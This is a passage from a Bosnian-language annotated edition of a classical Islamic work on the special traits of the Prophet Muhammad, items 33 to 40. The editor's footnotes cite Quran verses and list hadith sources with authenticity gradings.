El-Ja'meri, Ujun el-eser, Dar El-Kalem, Bejrut, 1993;El-Asbahani, Ahlak en-nebijj, Dar El-Muslim, Rijad, 1998; Muhji es-Sunne el-Begavi eš-Šafija, Envar fi šemail en-nebijj el-muhtar, Dar El-Mektebijj, Damask, 1995; El-Kastalani, El-Mevahib el-ledunijje bi el-mineh el-Muhammedijje, El-Mektebe Et-Tevfikijje, Kairo.
75 Alu Imran, 159. Tačnije, samo početak ajeta.
33., 34., 35. I 36. VID
33. Glede njegove žestine prema krivovjernicima (kafirima) i milosti prema vjernicima (muminima), izričaj Uzvišenog Allaha: Muhammed je Allahov poslanik, a njegovi sljedbenici su strogi prema nevjernicima, a samilosni među sobom.76
34. Glede njegov želje za imanom svoga ummeta, milosrđu prema vjernicima i sažaljenju prema krivovjernicima, riječi Uzvišenog Allaha: Došao vam je Poslanik, jedan od vas, teško mu je što ćete na muke udariti, brine se za vas.77 Tj. teško mu pada ono što vama teško pada. Brine se za vas. Tj. brine se za vaš iman, da pođete pravim putem. A prema vjernicima je blag i milostiv.78
35. Glede njegove iskrenosti u dostavljanju poslanice, riječi Uzvišenog Allaha:Ove ostavi, prijekor nećeš zaslužiti.79Da je činio propuste80, bio bi mu upućen prijekor.
36. Među njima jeste da je Uzvišeni Allah dao njegovom ummetu položaj pravednih svjedoka pred sudijama. Stoga će Uzvišeni Allah, kada bude presudio robovima, pa narodi zaniječu dolazak poslanice, dovesti ummet Muhammeda, s.a.v.s., kako bi posvjedočio protiv ljudi da su im poslanici došli.81 Dotična posebnost nije potvrđena ni za jednog drugog vjerovjesnika.
OBRADA I KOMENTAR:
76 El-Feth, 29. Početak ajeta.
77 Et-Tevbe, 128. Skoro cijeli ajet.
78 Et-Tevbe, 128. Kraj ajeta.
79 Ez-Zarijat, 54.
80 U izvorniku piše glagol ograničiti (اقتصر). Stoga, mi smo umjesto glagola ograničiti stavili glagol činiti propuste (قصّر). Isti zahvat urađen je i u prvoj štampanoj verziji ovoga djela.
81Aludira na hadis, koji u skraćenoj verziji bilježi Buhari u Sahihu od Ebu Seid Hudrija, r.a., glasi: Doći će Nuh i njegov narod (ummet), pa će Uzvišeni Allah upitati: “Da li si dostavio Objavu?” On će odgovoriti: “Da, jesam, Gospodaru.” Onda će upitati njegov narod: “Da li vam je dostavio?” Oni će odgovoriti: “Nije nam došao nikakav vjerovjesnik.” Potom će upitati Nuha: “Ko će posvjedočiti za te?” On će odgovoriti: “Muhammed, s.a.v.s., i njegov narod.” Zatim ćemo posvjedočiti da je dostavio Objavu. To su riječi Uzvišenog: I tako smo od vas stvorili pravednu zajednicu da budete svjedoci protiv ostalih ljudi. A veset znači pravedan. Hadis je vjerodostojan. Prenose ga sljedeći ashabi: Ebu Seid Hudr, Džabir ibn Abdullah. Bilježe ga sljedeći muhaddisi: Seid ibn Mensur u Et-Tefsir min es-Sunen (br. 222); Ibn Ebu Šejbe u Musannefu (br. 31684); Ahmed u Musnedu (br. 11068, 11271, 11283, 11558); Abd ibn Humejd u Musnedu (br. 911); Buhari u Sahihu (br. 3339, 4487, 7349); Ibn Madždže u Sunenu (br. 4284); Tirmizi u Sunenu (br. 2961); Nesai u Es-Sunen el-kubra (br. 10939, 10940); Ebu Ja'la u Musnedu (br. 1173, 1207); Ibn Hibban u Sahihu (br. 6477, 7216); Hakim (br. 3061, 3062); Bejheki u El-Esma’ ve es-sifat (br. 464), Šu'b el-iman (br. 260); Begavi u Šerh es-sunne (br. 4325); Ibn Asakir u Mu'džemu (br. 206) i dr.
37. I 38. VID
37. Poput njih jeste i nepogrješivost (ismet) njegovog ummeta, pošto se ovaj neće okupiti oko zablude82, kako u sporednoj (sekundarnoj) stvari (fer’), tako i u glavnoj (primarnoj) stvari (asl).
38. Poput njih jeste i pamćenje (hifz) njegove knjige. Kada bi se okupili i prvi i posljednji da u nju dodaju jednu riječ ili da je oduzmu od nje, ne bi bili to u stanju.83 S druge strane, promjene koje su se desile u Tevratu i Indžilu84 nisu nepoznate.
OBRADA I KOMENTAR:
82 Upućuje na hadis koji u jednoj verziji bilježi Ibn Madždže u Sunenu od Enesa ibn Malika, r.a., glasi: Moj se ummet neće okupiti oko zablude, pa ako primjetite razilaženje držite se velike većine. Hadis je vjerodostojan (sahih). Prenose ga sljedeći ashabi: Enes ibn Malik, Abdullah ibn Abbas, Abdullah ibn Omer, Ebu Hurejre, Ebu Basre Gifari, Amr ibn Kajs, Ebu Malik Ešari, Ebu Mesud Ensari, Ka'b ibn Asim, Kudame ibn Abdullah Kilabi. Bilježe ga sljedeći muhaddisi: Ibn Ebu Šejbe u Musannefu (br. 37192, 37615, 37670, 37874); Ishak ibn Rahevejh u Musnedu (br. 421, 448); Ahmed u Musnedu (br. 27224); Abd ibn Humejd u Musnedu (br. 1218); Darimi u Sunenu (br. 55); Ibn Madždže u Sunenu (br. 3950); Ebu Davud u Sunenu (br. 4253); Tirmizi u Sunenu (br. 2167); Haris u Musnedu (br. 59); Ibn Ebu Asim u Kitab es-sunne (br. 80, 82-85, 92); Dulabi u El-Kuna ve el-esma’ (br. 937, 1431); Taberani u El-Mu'džem el-kebir (br. 2172, 3441, 13657, 14353-14355), Musned eš-Šamijjin (br. 1663, 2069, 2380); Ibn Betta u El-Ibane el-kubra (dio 1, br. 118, 149, 184); Ebu Tahir Muhallis u Muhallisijjatima (br. 2240); Hakim u Mustedreku (br. 392-400, 8545, 8546, 8664, 8665); Lalikai u Šerhu (br. 153, 154, 162, 163); Ebu Nuajm u Hilje el-evlija’ (sv. 3, str. 37, sv. 9, str. 238); Dani u Sunenu (br. 9, 367, 368); Bejheki u El-Esma’ ve es-sifat (br. 701, 702), Šu'b el-man (br. 7111); Ibn Abdulberr u Džami’ (br. 1390, 1404) i dr.
83 Upućuje na kur'anske ajete, Poslanikove hadise i druge predaje koje naglašavaju nepromjenljivost Kur'ana i ljudsku nemoć i inferiornost po tom pitanju.
1) Među ajetima koji najbolje ocrtavaju spomenutu činjenicu su sljedeći ajeti:
– A ako sumnjate u ono što objavljujemo robu Svome, načinite vi jednu suru sličnu objavljenim njemu, a pozovite i božanstva vaša, osim Allaha, ako istinu govorite. (El-Bekare, 23)
– A poslanici su i prije tebe lažnim smatrani, pa su trpjeli što su ih u laž ugonili i mučili sve dok im ne bi došla pomoć Naša, – a niko ne može Allahove riječi izmijeniti. (El-En'am, 34)
– Riječi Gospodara tvoga su vrhunac istine i pravde; Njegove riječi niko ne može promijeniti i On sve čuje i sve zna. (El-En'am, 115)
– A oni govore: “On ga izmišlja!” Reci: “Pa, dajte vi jednu suru kao što je njemu objavljena, i koga god hoćete, od onih u koje mimo Allaha vjerujete, u pomć pozovite, ako istinu govorite.” (Junus, 38)
– Za njih su dobre vijesti i na ovom i na onom svijetu, – Allahove riječi niko ne može izmjeniti – to će, zaista, velik uspjeh biti. (Junus, 64)
– Zar oni da govore: “On ga izmišlja!” Reci: “Pa sačinite vi deset Kur'anu sličnih, izmišljenih sura, i koga god hoćete, od onih u koje pored Allaha vjerujete, u pomoć pozovite, ako je istina što tvrdite!” (Hud, 13)
– Kazuju iz Knjige Gospodara svoga ono što ti se objavljuje, niko ne može da izmijeni riječi Njegove, pa ni ti. (El-Kehf, 27)
– A kad im dolazi Istina od Nas, oni govore: “Zašto mu nije dato onako isto kao što je dato Musau?” A zar oni još davno nisu porekli ono što je Musau dato/ Oni govore: “Dvije čarolije, jedna drugu podržava” – i govore: “Mi ni u jednu ne vjerujemo.” Reci: “Pa donesite vi od Allaha knjigu koja bolje nego ove dvije na pravi put upućuje, nju bih slijedio, ako istinu govorite!” (El-Kasas, 48-49)
2) Predaja od Abdullaha ibn Omera, r.a., koju prenosi Nafi’. U verziji koju bilježi Hakim u Mustedreku glasi:Hadždžadž je oduljio hutbu, pa je Ibn Omer stavio svoju glavu u moje krilo. Onda je Hadždžadž kazao: “Doista je Ibn Zubejr izmijenio Allahovu knjigu.” Na to je Ibn Omer sjeo i kazao: “To ne možeš ni ti, a ni Ibn Zubejr. Nema promjene Njegovih riječi.” Rekao je Hadždžadž: “Zbilja ti je dato znanje, ako ti koristi.” Predaja je vjerodostojna (sahih). Bilježi je Ismail ibn Džafer u Hadisima (br. 100), Hakim u Mustedreku (br. 3301); Bejheki u El-Esma’ ve es-sifat (br. 528); Ibn Atijje u Tefsiru (sv. 3, str. 129); Sealibi u Tefsiru (Es-Sealibi, El-Dževahir el-hisan fi tefsir el-Kur'an, Dar Ihja’ et-turas el-arebijj, Bejrut, 1997, sv. 3, str. 256); Sujuti u Iklilu (Es-Sujuti, El-Iklil fi istinbat et-Tenzil, Dar El-Kutub el-ilmijje, Bejrut, 1981, str. 148), Tefsiru (sv. 4, str. 378); Ševkani u Tefsiru (sv. 2, str. 522) i dr.
3) Predaja od tabiina Muhammed ibn Ka'ba el-Kurezija glede riječi Uzvišenog Riječi Gospodara tvoga su vrhunac istine i pravde; Njegove riječi niko ne može promijeniti: Nema promjene ničega, izrekao ih na dunjaluku ili ahiretu. Predaja je vjerodostojna (sahih). Bilježi je Ibn Ebu Hatim u Tefsiru (Ibn Ebu Hatim, Tefsir el-Kur'an el-azim, Mektebe Nizar Mustafa el-Baz, Mekka, sv. 4, str. 1374, br. 7809, sv. 6, szt. 1966, br. 10464); Sujuti u Tefsiru (sv. 3, str. 344) i dr.
4) Predaje od Abdullaha ibn Abbasa, r.a., glede riječi Uzvišenog Njegove riječi niko ne može promijeniti. Jedna od njih, koju bilježi Vahidi u svom Tefsiru, glasi: Želi reći da nema onoga koji može spriječti Njegovo određenje, niti onoga koji može promijeniti Njegov sud, niti će prekršiti Svoje obećanje. Predaje nemaju lanca prenosilaca. Bilježe ih sljedeći autori: Vahidi u Et-Tefsir el-besit (sv. 8, str. 387, sv. 11, str. 250), Et-Tefsir el-vesit (E sv. 2, str. 554); Begavi u Tefsiru (sv. 2, str. 154); Ibn Atijje u Tefsiru (sv. 3, str. 129); Nu'mani u Tefsiru (sv. 8, str. 396); Fejruzabadi u Ibn Abbasovom tefsiru (El-Fejruzabadi, Tenvir el-mikbas min Tefsir Ibn Abbas, Dar El-Kutub el-ilmijje, Bejrut, sv. 1, str. 176, 246); Sealibi u Tefsiru (sv. 3, str. 256) i dr.
84 O izmjenjenosti Tevrata i Indžila govore brojni ajeti i hadisi. Među tim ajetima su i sljedeći:
– Sljedbenici Knjige, zašto se o Ibrahimu prepirete, pa zar Tevrat i Indžil nisu objavljeni poslije njega? Zašto ne shvatite? (Alu Imran, 65)
– Svaka hrana je bila dozvoljena sinovima Israilovim, osim one koju je Israil sam sebi zabranio prije nego što je Tevrat objavljen bio. Reci: “Donesite Tevrat pa ga čitajte, ako istinu govorite!” (Alu Imran, 93)
– A otkud da oni traže od tebe da im sudiš kad imaju Tevrat, u kome su Allahovi propisi? Oni ni poslije presude tvoje ne bi bili zadovoljni, jer nisu nikakvi vjernici. (El-Maide, 43)
– Da se oni pridržavaju Tevrata i Indžila i onoga što im objavljuje Gospodar njihov, imali bi šta da jedu, i od onoga što je iznad njih i od onoga što je ispod nogu njihovih. Ima ih i umjerenih, ali ružno je ono što radi većina njih. (El-Maide, 66)
– Reci; “O sljedbenici Knjige, vi niste nikakve vjere ako se ne budete pridržavali Tevrata i Indžila, i onoga što vam objavljuje Gospodar vaš.” A to što ti objavljuje Gospodar tvoj pojačaće, uistinu, kod mnogih od njih nepokornost i nevjerovanje, ali, ti ne izgaraj zbog naroda koji neće da vjeruje. (El-Maide, 68)
– Oni kojima je naređeno da prema Tevratu postupaju, pa ne postupaju, slični su magarcu koji knjige nosi. O kako su loši oni koji poriču Allahove ajete! – A Allah neće ukazati na pravi put narodu koji neće da vjeruje. (El-Džumua, 5)
39. VID
Među njima jeste da je Allah sakrio onoga iz njegovog ummeta kome djela nisu primljena, dok oni prije njih bijahu prinosili žrtve (kurbane), pa bi vatra pojela ono što je primljeno, a ostavila ono što nije, sramoteći time prinositelja.85 Slično tome Allah veli: A tebe smo samo kao milost svjetovima poslali.86
A Muhammed, s.a.v.s., veli: Ja sam, zbilja, milost, uputitelj.87 Ja sam vjerovjesnik milosti.88
OBRADA I KOMENTAR:
85 Ne postoji merfu’ predaja – predaja koja doseže do Poslanika, s.a.v.s., u kojoj imamo izravnu potvrdu da su kurbani prijašnjih naroda bivali vatrom progutani ako bijahu primljeni, a ostavljeni ako bijahu odbijeni. Međutim, da je uistinu tako bilo, možemo zaključiti neizravnim putem na osnovu sljedećih ajeta, hadisa i predaja od ashaba i tabiina:
1) Ajet u kome Uzvišeni govori o izazovu koji bi jevreji postavili pred svoje poslanike da prinesu kurban koji će vatra progutati, kako bi time potvrdili istinitost svoga poslanstva: Jevrejima koji govore: “Bog nam je naredio da ne povjerujemo ni jednom poslaniku prije nego što dođe sa žrtvom koju će vatra progutati” – reci: “I prije mene su vam poslanici dolazili sa jasnim dokazima, a i s tim što govorite, pa zašto ste ih, ako istinu govorite, ubijali?” (Alu Imran, 183)
2) Predaja od određenih ashaba i tabiina kojima se tumači idući kur'anski ajet iz priče o Kabilu i Habilu: I ispričaj im o dvojici Ademovih sinova, onako kako je bilo,kada su njih dvojica žrtvu prinijeli, pa kada je od jednog bila primljena,a od drugog nije, ovaj je rekao: “Sigurno ću te ubiti!” – “Allah prima samo od onih koji su dobri” – reče onaj. (El-Maide, 27) Predaja, u verziji koju bilježi Taberi u Tefsiru od Abdullaha ibn Abbasa, Abdullaha ibn Mesuda i drugih ashaba, glasi: Ademu se bijahu rađala djeca samo po muško zajedno sa ženskom, pa bi se mladić iz jednog poroda oženio sa djevojkom iz drugog poroda, dok bi se djevojka iz jednog poroda udavala sa mladića iz drugog poroda. Tako je bilo sve dok mu se ne rodiše dva sina, koji se zvaše Kabil i Habil. Kabil bijaše ratar, a Habil stočar… Onda su prinijeli žrtve – Habil je prinio debelog ovna, dok je Kabil prinio snop klasja… Potom je sišla vatra, pa je pojela Habilov kurban (žrtvu), a ostavila Kabilov. Ovaj se naljutio i zaprijetio bratu: “Ubit ću te!” Habil mu je odgovorio: “Allah prima samo od bogobojaznih.” U određenim verzijama ove predaje, kao u onoj koju prenosi Taberi u Tefsiru od Ibn Abbasa, r.a., spominje se da je ovakvo prinošenje žrtve bilo uobičajeno u povijesti čovječanstva.
Predaja je vjerodostojna (sahih). Prenose je u njenim verzijama Abdullah ibn Mesud, Abdullah ibn Abbas i drugi među ashabima, te Katade, Mudžahid, Hasan Basri i Atijje među tabiinima. Predaju bilježe sljedeći autori: Taberi u Tefsiru (sv. 10, str. 203-208, br. 11706-11718), Tarihu (Et-Taberi, Tarih er-rusul ve el-muluk, Dar Et-Turas, Bejrut, 1967, sv. 1, str. 137-138); Ibn Kesir u Tefsiru (sv. 3, str. 82 ); Sujuti u Tefsiru (sv. 3, str. 54-55); Elusi u Tefsiru (El-Elusi, Ruh el-meani fi tefsir el-Kur'an el-azim ve es-seb’ el-mesani, Dar El-Kutub el-ilmijje, Bejrut, 1994, sv. 3, str. 282) i dr.
3) Hadisi o posebnosti Muhammeda, s.a.v.s. među kojima je dozvoljenost plijena:
– Dato mi je pet stvari, koje nisu date nikom prije mene. Potpomognut sam strahom na mjesec dana hoda. Zemlja mi je učinjena mesdžidom (mjestom za sedždu) i čistom, tako da kada bilo kojeg čovjeka iz mog ummeta zadesi namaz, neka klanja. Dozvoljen mi je plijen, a bijaše dozvoljen nikom prije mene. Dat mi je šefat (zauzimanje). Bijaše vjerovjesnik slat samo svome narodu , a ja sam poslan svim ljudima. Spomenutu verziju bilježi, između ostalih, Buhari u Sahihu od Džabira ibn Abdullaha, r.a. Vidi bilješku br. 61 za tahridž hadisa.
– Odlikovan sam nad vjerovjesnicima sa šest stvari: dat mi je jezgrovit govor, potpomognut sam strahom, dozvoljen mi je plijen, zemlja mi je učinjena mesdžidom (mjestom za sedždu) i čistom, poslan sam cijelom čovječanstvu i sa mnom je završeno vjerovjesništvo. Spomenutu verziju bilježi, između ostalih, Muslim u Sahihu od Ebu Hurejre, r.a. Vidi bilješku br. 61 za tahridž hadisa.
– Dato mi je pet stvari koje ne bijahu date ni jednom vjerovjesniku prije mene. Zemlja mi je učinjena mesdžidom (mjestom za sedždu) i čistom, a vjerovjesnici ne bijahu klanjali sve dok ne bi došli do hramova (mihraba). Potpomognut sam strahom na mjesec dana hoda koji je sa mnom naspram mnogobožaca (mušrika), pa bi ga Allah ubacio u srca njihova. Bijaše vjerovjesnik slat samo svome narodu, a ja sam poslan džinnima i ljudima. Vjerovjesnici bi izdvajali plijen, pa bi došla vatra koja bi ga progutala, a meni je naređeno da ga podijelim siromasima moga ummeta. Nema nijednog vjerovjesnika, a da mu nije dat šefaat (zauzimanje), dok sam ja odgodio šefaat za svoj ummet. Spomenutu verziju od Ibn Abbasa, r.a., bilježe Bezzar u Musnedu i Bejheki u Es-Sunen el-kubra i Delail en-nubuvve. Vidi bilješku br. 61 za tahridž hadisa.
– Božiji poslanik, s.a.v.s., bijaše klanjao noću u godini pohoda na Tebuk, pa se izvjestan broj ashaba okupio iza njega, čuvajući ga sve dok nije otklanjao i okrenuo se prema njima. Potom je rekao: “U noći mi je dato pet stvar koje nisu date nikome prije mene. Glede mene, ja sam poslan svim ljudima, dok su oni prije mene poslani svom narodu. Potpomognut sam strahom protiv neprijatelja, tako da kad bi između mene i njih bila razdaljina mjesec hoda, ispunila bi se strahom. Dozvoljen mi je plijen da ga konzumiram, a oni prije mene bi ga palili, smatrajući njegovu konzumaciju nečim velikim. Zemlja mi je učinjena mesdžidom (mjestom za sedždu) i čistom – gdje god bi me zadesio namaz, potrao bih se i klanjao, a oni prije mene smatraše to nečim velikim. Oni bi se samo klanjali u svojim crkvama i sinagogama. A peta stvar, šta je ona? Bi mi rečeno: “Traži, jer, doista, svaki je vjerovjesnik tražio.” Odgodio sam svoju potražnju do Sudnjeg dana. Ona je za vas i za onoga ko je posvjedočio da nema božanstva sem Allaha.” Spomenutu verziju bilježi Ahmed u Musnedu od Abdullaha ibn Amra ibn Asa, r.a. Skoro identične verzije bilježe Tahavi u Muškil el-asar i Lalikai u Šerhu od istog ravije. Vidi bilješku br. 61 za tahridž hadisa.
86 El-Enbija’, 107.
87 Hadis je vjerodostojan (sahih). Prenosi ga Ebu Hurejre, r.a., među ashabima i Ebu Salih među tabiinima. Hadis bilježe sljedeći autori: Ibn Ebu Šejbe u Musannefu (br. 31782); Darimi u Sunenu (br. 15); Ibn Ea'rabi u Mu'džemu (br. 1088, 2452); Adžurri u Šerijatu (br. 1000); Ebu Tahir u Muhallisijjatima (br. 2989); Hakim u Mustedreku (br. 100); Kadai u Musned Eš-Šihab (br. 1160, 1161); Bejheki u Šu'b el-iman (br. 1339, 1374), Delail en-nubuvve (br. 61, 62) i dr.
88 Predstavlja dio dužeg hadisa. Hadis u verziji koju bilježi Muslim u Sahihu od Ebu Muse Ešarija, r.a., glasi: Ja sam Muhammed, Ahmed, Mukaffi (Onaj koji je došao), Hašir (Skupljač), Vjerovjesnik oprosta (tevbe) i Vjerovjesnik milosti (rahmeta). Hadis je vjerodostojan (sahih). Prenose ga sljedeći ashabi: Huzejfe ibn Jeman, Ebu Musa Ešari, Džubejr ibn Mut'im, Osman ibn Hunejf. Hadis bilježe sljedeći autori: Ibn Dža'd u Musnedu (br. 3222); Ahmed u Musnedu (br. 17240, 19525, 23443, 23445); Muslim u Sahihu (br. 6254);Tirmizi u Sunenu (br. 3578); Bezzar u Musnedu (br. 2887); Nesai u Es-Sunen el-kubra (br. 10420), Amel el-jevm ve el-lejle (br. 569); Ebu Ja'la u Musnedu (br. 7244); Dulabi u El-Kuna ve el-esma’ (br. 2, 3); Ibn Huzejme u Sahihu (br. 1219); Ibn Ea'rabi u Mu'džemu (br. 303); Ibn Hibban u Sahihu (br. 6314, 6315); Aždurri u Šerijatu (br. 1010, 1011); Taberani u El-Mu'džem el-kebir (br. 8327), El-Mu'džem el-evsat (br. 2716), El-Mu'džem el-sagir (br. 217); Hakim u Mustedreku (br. 1180); Bejheki u Delail en-nubuvve (br. 2415-2417); Begavi u Šerh es-sunne (br. 3631) i dr.
40. VID
Među njima jeste da je Muhammed, s.a.v.s., poslan sa jezgrovitim govorom89, da mu je rijek veoma sažet90 i da je nadmašio Arape u rječitosti i stilistici91.
OBRADA I KOMENTAR:
89Upućuje na hadis Muhammeda, s.a.v.s., koji u verziji koju bilježi Buhari u Sahihu od Ebu Hurejre, r.a., glasi: Poslan sam sa jezgrovitim govorom, potpomognut sam strahom, a dok sam spavao dati su mi ključevi zemaljskih riznica i stavljeni u moju ruku. Hadis je vjerodostojan (sahih). Prenose ga sljedeći ashabi: Ebu Hurejre, Abdullah ibn Abbas, Abdullah ibn Amr ibn As, Abdullah ibn Mesud, Ebu Musa Ešari, Omer ibn Hattab, Alija ibn Ebu Talib, Ebu Umame Sudejj ibn Adžlan Bahili, Hind ibn Ebu Hale Temimi. Bilježe ga sljedeći muhaddisi: Ma'mer ibn Rašid u Džami’ (br. 20033, 20334, 20062); Ismail ibn Džafer u Hadisima (br. 141, 249); Abdurrezzak u Musannefu (br. 10163); Seid ibn Mensur u Musnedu (br. 2862); Ibn Ebu Šejbe (br. 2998, 31644, 31735); Ahmed u Musnedu (br. 6606, 6607, 6981, 7403, 7585, 7620, 7632, 8150, 9705, 9867, 10517); Buhari u Sahihu (br. 2977, 7013, 7273); Muslim u Sahihu (br. 1195-1200); Ebu Davud u El-Merasil (Ebu Davud, El-Merasil, Muessese Er-Risale, Bejrut, 1988, br. 45); Tirmizi u Sunenu (br. 1553); Ibn Ebu Asim u El-Ahad ve el-mesani (br. 1231); Bezzar u Musnedu (656, 7638, 7775, 8674, 9356, 9854); Nesai u Sunenu (br. 1167, 3087-3089), Es-Sunen el-kubra (br. 757, 4280-4282); Ebu Ja'la u Musnedu (br. 6287, 6491, 6492, 7238); Serradž u Hadisu (br. 289-292,303, 305, 506, 1901), Musnedu (br. 491, 492, 509); Ebu Avane u Mustahredžu (br. 1169-1173); Tahavi u Šerh muškil el-asar (br. 1025, 4486, 4976), Šerh meani el-asar (Et-Tahavi, Šerh meani el-asar, Alem el-kutub, Rijad, 1994, br. 1419, 1420, 1565-1567); Ibn Hibban u Sahihu (br. 2313, 6363, 6401-6403); Adžurri u Šerijatu (1042, 1047); Taberani u El-Mu'džem el-kebir (br. 9962), Musned Eš-Šamijjin (br. 1712, 3029, 3305); Darekutni u Sunenu (br. 4275); Ebu Tahir Muhallis u Muhallisijjatima (br. 1806, 2701); Temam u Fevaidu (br. 1102); Lalikai u Šerhu (br. 1440, 1441, 1447); Ebu Nuajm u Musnedu (br. 1153-1158); Kadai u Musned Eš-Šihb (br. 570, 571); Bejheki u Es-Sunen el-kubra (br. 4265, 13318, 17363, 17718), Šu'b el-iman (br. 137, 1367, 1368, 4837), Delail en.-nubuvve (br. 1902, 2210-2213), Ma'rife es-sunen ve el-asar (br. 5078); Begavi u Šerh es-sunne (br. 3617); Kadi-l-Maristan u Mešihi (br. 512) i dr.
90 Upućuje na hadis, koji glasi u rivajetu koji bilježi Darekutni u Sunenu od Abdullaha ibn Abbasa, r.a: Dat mi je jezgrovit govor, a rijek mi je veoma sažet. Ovaj hadis je slab sam po sebi (daif li zatihi), ali mu je značenje ispravno i poklapa se sa smislom prethodno obrađenog hadisa u bilješci br. 88. Štaviše, on je i obrađen u prethodnom hadisu kao jedna njegova verzija. Stoga, ovaj hadis je dobar – hasen radi dotičnog hadisa (hasen li gajrihi). Prenose ga Abdullah ibn Abbas i Omer ibn Hattab među ashabima i Ejjub ibn Junus među tabiinima. Bilježe ga sljedeći autori: Abdurrezzak u Musannefu (br. 10163); Ibn Ebu Šejbe u Musannefu (br. 31772); Ebu Davud u El-Merasil (br. 455); Darekutni u Sunenu (br. 4275); Bejheki u Šu'b el-iman (br. 1367, 4837) i dr.
91 Za Muhammedovu, s.a.v.s, rječitosti imamo dosta primjera iz njegove sire (života) i u njegovom hadisu (rijeku). Navest ćemo nekoliko njih:
1) Prethodni hadisi obrađeni u bilješkama pod brojem 88. i 89. govore o Poslanikovoj rječitosti, tačnije darovanom jezgrovitom govoru. Jedna verzija hadisa u bilješci br. 88 donosi naročito podroban opis njegove rječitosti. Verziju bilježi Ibn Ebu Asim u El-Ahad ve el-mesani od Hind ibn Ebu Hale Temimi, r.a: Od Abdullaha ibn Abbasa, r.a., da je rekao Hindu ibn Ebu Haletu Temimiju, pastoru Allahovog poslanika, s.a.v.s: “Opiši nam Allahovog poslanika, s.a.v.s, jer ga, možda, među nama ti najbolje poznaješ.” Odgovorio: Bijaše, oca mi i matere moje, dugo šutio, stalno razmišljao, neprekidno tugovao. Kada bi govorio, govorio bi jezgrovito bez duljenja i kraćenja. Kada bi pričao, ponovio bi. Kada bi propovijedao (vazio), uozbiljio bi se i tresao. Ako se neko ne bi sa njim slagao, opširno bi iznio svoje mišljenje sa revnošću . Radovao bi se, razgovarajući sa svojim ashabima. Veličao bi blagodat, pa makar bila sitna. Ne bi grdio ukus hrane. Smiješio bi, pokazujući zube koliko je veličina grada (tuče).
2) Hadis koji donosi priču Dimada, r.a. Donosimo verziju koju bilježi Muslim u Sahihu od Ibn Abbasa, r.a: Dimad je došao u Mekku. Bješe iz Ezda Šenuinog i bijaše liječio od ludila i džinskog dodira (ograjisanja). Čuo je mekkanske glupake kako govore: “Muhammed je zbilja lud”. Stoga je kazao: “Ako vidim tog čovjeka, možda ga Allah izliječi mojim rukama”. Zatim ga je susreo i rekao mu: “Muhammede, ja liječim od ludila i džinskog dodira. Allah, zaista, liječi mojim rukama koga On hoće. Da li ti imaš tu bolest?” Kazao je Allahov poslanik, s.a.v.s: “Sva zahvala pripada Allahu. Njemu zahvaljujemo, od Njega pomoć tražimo. Koga Allah uputi nikoga ga zabludjeti ne može, a koga On zabludi, nikoga ga uputiti ne može. Svjedočim da nema božanstva osim Allaha, Koji sudruga nema, i da je Muhammed Njegov rob i poslanik.” Damad je onda zatražio: “Ponovi mi te riječi.” Allahov poslanik, s.a.v.s., mu ih je ponovio tri puta. Potom je Damad kazao: “Slušao sam govor gatara, čarobnjaka (sihirbaza), pjesnika, ali ne čuh sličan ovom govoru. Doista je dosegao središnje dno mora (tj. dosegao vrhunac rječitosti). Daj mi svoju ruku da ti dam prisegu na islam.” Tada je prisegao, te ga je Allahov poslanik, s.a.v.s., upitao: “I prisegu tvog naroda?” Ovaj je odgovorio: “Da, i prisegu mog naroda.” Poslije je Allahov poslanik, s.a.v.s., poslao odred, koji je prošao pokraj njegovog naroda, pa je zapovjednik odreda upitao vojsku: ” Da li ste od ovih išta uzeli?” Neki vojnik je odgovorio: “Uzeo sam od njih lavor.” Zapovjednik mu je naredio: Vrati ga! Ovi su, doista, Dimadov narod.” Hadis je vjerodostojan (sahih). Prenosi ga Abdullah ibn Abbas, r.a. Bilježe ga sljedeći pisci: Ahmed u Musnedu (br. 2749); Muslim u Sahihu (br. 2045); Ibn Hibban u Sahihu (br. 6568); Ibn Mende u Imanu (br. 131, 132); Ebu Nuajm u Musnedu (br. 1954), Et-Tibb en-Nebevijj (br. 44); Bejheki u Es-Sunen el-kubra (br. 5801), Delail en-nubuvve (br. 523), El-Kada’ ve el-kader (br. 343, 344) i dr.
3) Priča Tufejla ibn Amra Devsija, r.a. Donosimo veći dio priče: Bijah čovjek pjesnik, vođa u svom narodu. Kada sam stigao u Mekku, otišao sam do kurejšijskih muževa, koji su mi poručili: “Ti si čovjek pjesnik vođa. Mi se ozbiljno bojimo za te da ćeš susresti izvjesnog čovjeka, pa će ti ozbiljno našteti svojom pričom. Njegova priča je, zbilja, poput čarolije (sihra). Čuvaj ga se da ne ubaci između tebe i između tvoga narod ono što je ubacio među nas, pošto on rastavlja čovjeka od njegovog brata, čovjeka od njegove žene, čovjeka od njegovog sina.” Tako mi Allaha, nisu prestali da mi pričaju o njemu i da mi brane da ga slušam, sve dok ne rekoh: “Tako mi Allaha, ući ću u džamiju samo zapušenih ušiju.” Nakon toga sam uzeo uši, kazuje Tufejl, i napunio ih pamukom, te sam onda otišao u džamiju. Kad tamo Allahov Poslanik, s.a.v.s., stoji u džamiji. Prišao sam mu bliže i Allah dade da čujem nešto njegovih riječi. Potom rekoh u sebi: “Tako mi Allaha, doista je ovo slabost, a ja sam, zbilja, stamen čovjek. Nisu mi nepoznate lijepe i ružne stvari. Tako mi Allaha, slušat ću ga, pa ako njegov govor bude razuman prihvatit ću ga, a ako bude suprotno, klonit ću ga se.” Zatim sam uklonio pamuk, pa ne čuh nikad ljepši govor od govora kojim on govoraše. Rekoh: “Neka je slavljen Allah (Subhanallah), ne čuh kao danas bolji i ljepši govor od njegovog.” Nakon što je otišao, slijedio sam ga, pa sam zajedno sa njim ušao u njegovu kuću i kazao: “Muhammede, Tvoj narod mi je došao i kazao mi: Tako i tak”, onda sam ga obavijestio o onome što su kazali, “Allah je dao da čujem od tebe što govoriš. Sam sam shvatio da je to istina (hak), pa mi ponudi svoju vjeru.” Potom mi je ponudio islam, pa sam primio islam i kazao: Vratit ću se Devsu. Oni mi se pokoravaju. Pozvat ću ih u islam. Možda će Allah dati da ih uputim. Stoga, moli Allaha da mi da znak.” Rekao je Muhammed, s.a.v.s: “Allahu moj, daj mu znak koji će mu pomoći.” Poslje sam otišao sve dok se nisam popeo na vrh moga naroda. Tamo je moj otac, veoma star, moja žena, moje dijete. Nakon što sam se popeo na vrh, Allah je stavio između mojih očiju svjetlo (nur) kao svjetlica, koga vidi prisutni u tmini noći. Dok sam silazio sa vrha, rekao sam: Allahu moj, nemoj znak na mom licu, jer se stvarno bojim da ne pomisle da je to kazna zbog ostavljanja njihove vjere.” Zatim ga je promijenio i stavio na glavu mog biča – vidio sam se kako im putujem na svojoj devi, dok se znak nalazi na glavi moga biča poput okačene 